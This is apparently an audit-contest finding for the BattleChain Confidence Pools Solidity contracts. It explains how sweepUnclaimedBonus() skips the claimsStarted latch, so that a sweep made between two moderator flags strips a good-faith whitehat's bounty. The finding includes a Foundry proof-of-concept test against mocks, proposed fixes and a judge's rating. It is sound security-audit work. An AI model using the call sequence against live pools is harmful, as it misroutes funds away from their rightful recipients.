BattleChain Confidence Pools
Cyfrin
FoundrySolidityLayer 2
7.25 ETH
View all submissions
Previous Next
Submission Details
Severity: low
Valid

sweepUnclaimedBonus() can permanently siphon funds that belong to a good faith attacker's bounty

Author Revealed upon completion

Root + Impact

Description

  • sweepUnclaimedBonus() can permanently siphon funds that belong to a good faith attacker's bounty, undermining the documented safe re‑flag guarantee. This directly contradicts the invariant in no. 4 states(DESIGN.md): ‘claimsStarted’ is a value-movement finality latch. sweepUnclaimedBonus is a value movement function that doesn't honor that latch.


The invariant the contract tries to maintain: no. 4 of the DESIGN.md states the re-flag window (!claimsStarted) exists precisely so the moderator can correct a mistaken outcome "before any participant locks in the wrong distribution," and every value-moving function in the contract is carefully coupled to claimsStarted (claimSurvived, claimExpired, claimCorrupted, claimAttackerBounty when payout>0, sweepUnclaimedCorrupted all set it). sweepUnclaimedBonus() is the one exception, it moves real tokens to recoveryAddress but deliberately does not set claimsStarted.

sweepUnclaimedBonus() is callable while outcome == SURVIVED. If riskWindowStart == 0 at that point (the pool never happened to observe the registry mid‑UNDER_ATTACK/PROMOTION_REQUESTED, plausible for a quiet pool, or when the registry jumps straight to a terminal state), _bonusShare pays every staker 0, so sweepUnclaimedBonus() sweeps the entire totalBonus to recoveryAddress and decrements the live totalBonus variable accordingly:

if (totalEligibleStake == 0 || riskWindowStart == 0) {
totalBonus -= amount <= totalBonus ? amount : totalBonus;
}

But flagOutcome(SURVIVED, ...) is explicitly valid even when the registry reads CORRUPTED (no. 8: "out of this pool's scope" case). And crucially, bountyEntitlement for a good-faith CORRUPTED is computed from the live totalBonus at the moment of flagging, with no dependency on riskWindowStart:

snapshotTotalBonus = totalBonus; // re-read fresh, every flagOutcome() call
bountyEntitlement = willBeGoodFaithCorrupted ? snapshotTotalStaked + snapshotTotalBonus : 0;

So the following sequence is possible, entirely within the "safe" pre-claim window (claimsStarted still false throughout):

  1. Registry reads CORRUPTED, but this pool's riskWindowStart == 0 (it never observed the intermediate attack state).

  2. Moderator initially judges the breach out-of-scope and calls flagOutcome(SURVIVED, false, address(0)), valid per no. 8.

  3. Anyone (permissionless, no profit needed, could even be the moderator's own tx, or a bystander) calls sweepUnclaimedBonus(). Since riskWindowStart == 0, this sweeps 100% of totalBonus to recoveryAddress and zeroes totalBonus. claimsStarted stays false.

  4. Moderator reconsiders (new evidence, correction of a scope misjudgment, exactly the case no. 4 says the re-flag window exists for) and calls flagOutcome(CORRUPTED, true, attackerAddr). This succeeds because claimsStarted is still false.

  5. bountyEntitlement is now computed from the already-drained totalBonus (0, or whatever's left), so the named whitehat's bounty is short by exactly the amount that was swept in step 3 permanently, since those tokens already left the contract for recoveryAddress.

For a bad-faith CORRUPTED re-flag this is harmless (both paths route to recoveryAddress anyway), but for a good faith re-flag it silently transfers value that should go to the named attacker/whitehat over to recoveryAddress instead, with no way to reverse it on-chain. This directly contradicts the stated purpose of the claimsStarted gate: a corrective re-flag has let value move on the old (wrong) distribution before the correction landed, just not through a function the code classifies as a "claim."


Likelihood: high

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
​
import {Test, console2} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
​
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
​
import {MockERC20} from "./mocks/MockERC20.sol";
import {MockAgreement} from "./mocks/MockAgreement.sol";
import {MockAttackRegistry} from "./mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "./mocks/MockSafeHarborRegistry.sol";
​
/// @title Exploit PoC: sweepUnclaimedBonus() permanently misdirects a good-faith attacker's
/// bounty because it moves real value without gating on `claimsStarted`, while
/// `flagOutcome` is still re-flaggable.
///
/// NOTE ON THIS VERSION: this file only fixes two glue mismatches against the mocks shipped in
/// this repo so it actually compiles — no change to the exploit logic, sequence, or assertions:
/// 1. `MockSafeHarborRegistry` has no constructor; the attack registry must be wired up via
/// `setAttackRegistry(address)` after construction, not passed as a constructor arg.
/// 2. `MockAttackRegistry` exposes `setAgreementState(ContractState)` (single-arg, global —
/// it only tracks one state, not a per-agreement mapping), not `setState(address, ContractState)`.
/// Both were confirmed by actually compiling: the original calls
/// `new MockSafeHarborRegistry(address(attackRegistry))` and `attackRegistry.setState(...)`,
/// neither of which exists on the mocks as written, so the suite never even reached the exploit.
///
/// Sequence reproduced here (see the audit writeup for full rationale):
/// 1. Registry jumps straight from pre-attack to CORRUPTED without this pool ever observing
/// UNDER_ATTACK/PROMOTION_REQUESTED (riskWindowStart stays 0). This is realistic: it's
/// exactly what `instantCorrupt` on the real AttackRegistry produces for any pool that
/// wasn't polled during the brief attack window.
/// 2. Moderator initially (reasonably) judges the breach out-of-scope and flags SURVIVED.
/// This is explicitly valid per the contract (SURVIVED accepts state==CORRUPTED, per
/// docs/DESIGN.md §8) and claimsStarted is still false.
/// 3. Anyone permissionlessly calls sweepUnclaimedBonus(). Because riskWindowStart==0, the
/// ENTIRE bonus pool is "unreserved" and gets swept to recoveryAddress, live `totalBonus`
/// is zeroed, and — critically — `claimsStarted` is NOT set by this call.
/// 4. Moderator reconsiders (the exact scenario docs/DESIGN.md §4 says the re-flag window
/// exists to correct) and re-flags to good-faith CORRUPTED, naming a whitehat. This
/// succeeds because claimsStarted is still false.
/// 5. bountyEntitlement is computed from the now-drained totalBonus, so the named whitehat's
/// bounty is short by exactly the amount that was swept away in step 3 — permanently,
/// since those tokens already left the contract.
contract ConfidencePoolExploitTest is Test {
MockERC20 internal token;
MockAttackRegistry internal attackRegistry;
MockSafeHarborRegistry internal safeHarbor;
MockAgreement internal agreement;
​
ConfidencePool internal poolImpl;
ConfidencePoolFactory internal factory;
ConfidencePool internal pool;
​
address internal sponsor = makeAddr("sponsor");
address internal moderator = makeAddr("moderator");
address internal staker = makeAddr("staker");
address internal whitehat = makeAddr("whitehat");
address internal recoveryAddress = makeAddr("recoveryAddress");
address internal randomBystander = makeAddr("randomBystander");
address internal scopeAccount = makeAddr("inScopeContract");
​
uint256 internal constant STAKE_AMOUNT = 100 ether;
uint256 internal constant BONUS_AMOUNT = 20 ether;
​
function setUp() public {
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
// FIX: MockSafeHarborRegistry has no constructor — wire the attack registry via its setter.
safeHarbor = new MockSafeHarborRegistry();
safeHarbor.setAttackRegistry(address(attackRegistry));
agreement = new MockAgreement(sponsor);
safeHarbor.setAgreementValid(address(agreement), true);
​
poolImpl = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
bytes memory initData = abi.encodeCall(
ConfidencePoolFactory.initialize, (address(safeHarbor), address(poolImpl), moderator)
);
factory = ConfidencePoolFactory(address(new ERC1967Proxy(address(factoryImpl), initData)));
factory.setStakeTokenAllowed(address(token), true);
​
address[] memory accounts = new address[](1);
accounts[0] = scopeAccount;
​
vm.prank(sponsor);
pool = ConfidencePool(
factory.createPool({
agreement: address(agreement),
stakeToken: address(token),
expiry: block.timestamp + 60 days,
minStake: 1 ether,
recoveryAddress: recoveryAddress,
accounts: accounts
})
);
​
// Fund and approve the staker + a bonus contributor (sponsor, in this case).
token.mint(staker, STAKE_AMOUNT);
token.mint(sponsor, BONUS_AMOUNT);
vm.prank(staker);
token.approve(address(pool), STAKE_AMOUNT);
vm.prank(sponsor);
token.approve(address(pool), BONUS_AMOUNT);
}
​
function test_Exploit_SweepUnclaimedBonus_StealsGoodFaithBounty() public {
// --- Stakers + sponsor fund the pool while registry is pre-attack (NOT_DEPLOYED) ---
vm.prank(staker);
pool.stake(STAKE_AMOUNT);
vm.prank(sponsor);
pool.contributeBonus(BONUS_AMOUNT);
​
assertEq(pool.totalEligibleStake(), STAKE_AMOUNT);
assertEq(pool.totalBonus(), BONUS_AMOUNT);
assertEq(pool.riskWindowStart(), 0, "precondition: risk window never observed");
​
// --- Registry jumps straight to CORRUPTED; nobody polled the pool during UNDER_ATTACK ---
// FIX: MockAttackRegistry only tracks one global state via setAgreementState(ContractState);
// it does not take an agreement address (see mock's own docstring).
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
​
// --- Step 2: moderator (reasonably) judges the breach out-of-scope -> flags SURVIVED ---
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
​
assertEq(uint8(pool.outcome()), uint8(PoolStates.Outcome.SURVIVED));
assertEq(pool.riskWindowStart(), 0, "still never observed active-risk");
assertFalse(pool.claimsStarted(), "claimsStarted must still be false pre-claim");
​
// --- Step 3: ANYONE permissionlessly sweeps the "unclaimed" bonus ---
uint256 recoveryBalBefore = token.balanceOf(recoveryAddress);
vm.prank(randomBystander);
pool.sweepUnclaimedBonus();
uint256 sweptToRecovery = token.balanceOf(recoveryAddress) - recoveryBalBefore;
​
console2.log("Bonus swept to recoveryAddress *before* any claim:", sweptToRecovery);
assertEq(sweptToRecovery, BONUS_AMOUNT, "entire bonus pool was swept early");
assertEq(pool.totalBonus(), 0, "live totalBonus zeroed by the sweep");
assertFalse(pool.claimsStarted(), "sweepUnclaimedBonus must NOT lock claimsStarted");
​
// --- Step 4: moderator corrects the call -> re-flags good-faith CORRUPTED, names whitehat ---
// This is only possible because claimsStarted is still false, i.e. the contract's own
// "safe to re-flag" window is still open.
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
​
assertEq(uint8(pool.outcome()), uint8(PoolStates.Outcome.CORRUPTED));
assertTrue(pool.goodFaith());
assertEq(pool.attacker(), whitehat);
​
uint256 actualEntitlement = pool.bountyEntitlement();
uint256 correctEntitlement = STAKE_AMOUNT + BONUS_AMOUNT; // per docs/DESIGN.md §12
console2.log("bountyEntitlement actually recorded:", actualEntitlement);
console2.log("bountyEntitlement that SHOULD apply per spec (stake+bonus):", correctEntitlement);
assertEq(actualEntitlement, STAKE_AMOUNT, "entitlement silently short by the swept bonus");
assertLt(actualEntitlement, correctEntitlement, "whitehat is shortchanged");
​
// --- Step 5: whitehat claims their (now-reduced) bounty ---
vm.prank(whitehat);
pool.claimAttackerBounty();
​
uint256 whitehatPayout = token.balanceOf(whitehat);
console2.log("Whitehat actually received:", whitehatPayout);
console2.log("Whitehat should have received:", correctEntitlement);
assertEq(whitehatPayout, STAKE_AMOUNT, "whitehat only got the staked principal");
​
// --- Net result: recoveryAddress permanently keeps the bonus that should have gone
// to the named whitehat under a good-faith CORRUPTED resolution. ---
uint256 recoveryFinal = token.balanceOf(recoveryAddress);
console2.log("recoveryAddress final balance (should be ~0 under correct good-faith flow):", recoveryFinal);
assertEq(recoveryFinal, BONUS_AMOUNT, "recoveryAddress wrongfully retains the whitehat's bonus share");
​
// Sanity: this is the actual dollar-for-dollar loss caused purely by call ordering,
// with no change to *what actually happened* on BattleChain (still an in-scope,
// good-faith-attributed corruption) between step 2 and step 4.
assertEq(correctEntitlement - actualEntitlement, sweptToRecovery, "loss == amount swept early");
}
​
/// @notice Control case: same facts, but the moderator gets it right on the FIRST flag
/// (good-faith CORRUPTED immediately, no intervening SURVIVED/sweep detour). Shows the
/// whitehat receives the FULL pool as docs/DESIGN.md §12 specifies, proving the shortfall
/// in the exploit test above is caused by the sweep/re-flag interaction, not by anything
/// inherent to a CORRUPTED resolution.
function test_Control_DirectGoodFaithCorrupted_PaysFullPool() public {
vm.prank(staker);
pool.stake(STAKE_AMOUNT);
vm.prank(sponsor);
pool.contributeBonus(BONUS_AMOUNT);
​
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
​
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
​
vm.prank(whitehat);
pool.claimAttackerBounty();
​
assertEq(token.balanceOf(whitehat), STAKE_AMOUNT + BONUS_AMOUNT, "whitehat gets the full pool");
}
}
​

Recommended Mitigation

either (a) have sweepUnclaimedBonus() also respect claimsStarted (accepting the minor 1‑wei-donation griefing risk the current comment is trying to avoid), or (b) don't zero totalBonus/release it to recoveryAddress while a CORRUPTED re-flag is still reachable (e.g., only allow the sweep once riskWindowStart != 0 is permanently known to be un-openable awkward, since it always is post-resolution,so (a) is the cleaner fix), or (c) snapshot the attacker's bounty entitlement independent of any later manipulation of the live totalBonus, e.g. by tracking cumulative-bonus-ever-contributed separately from sweepable excess.
Updates

Lead Judging Commences

inallhonesty Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

sweepUnclaimedBonus() omits claimsStarted latch, letting a moderator re-flag re-snapshot a drained totalBonus and short the CORRUPTED bounty

Impact – Medium Up to the entire bonus pool can be routed to the wrong party for good, with no on-chain way to unwind it, and in a stakerless pool the effect is total since bountyEntitlement computes to zero and claimAttackerBounty reverts outright. This impact is definitely not High: the pool stays solvent throughout with no principal ever at risk, and the money ends up at the sponsor's own recoveryAddress, which in most pools means a sponsor recovering a bonus they funded themselves. The whitehat's claim on that bonus also only exists because the moderator changed their mind after the fact. Likelihood – Low Four separate things have to coincide: nobody touches the pool for the whole active-risk window (or there are no stakers to begin with), the moderator flags SURVIVED and later reverses to CORRUPTED, that reversal is good-faith with a named attacker, and a sweep lands between the two flags. The first cuts against staker self-interest, since skipping the poke costs them their entire bonus share, and the second asks the moderator to overturn a scope judgement, which is a bigger deal than the typo fix DESIGN.md #4 offers the window for. The sweep itself I'd treat as near-certain once the rest holds, given it's permissionless and the sponsor has an obvious reason to make the call, but assembling the first three in one pool lifecycle is where this stays rare.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!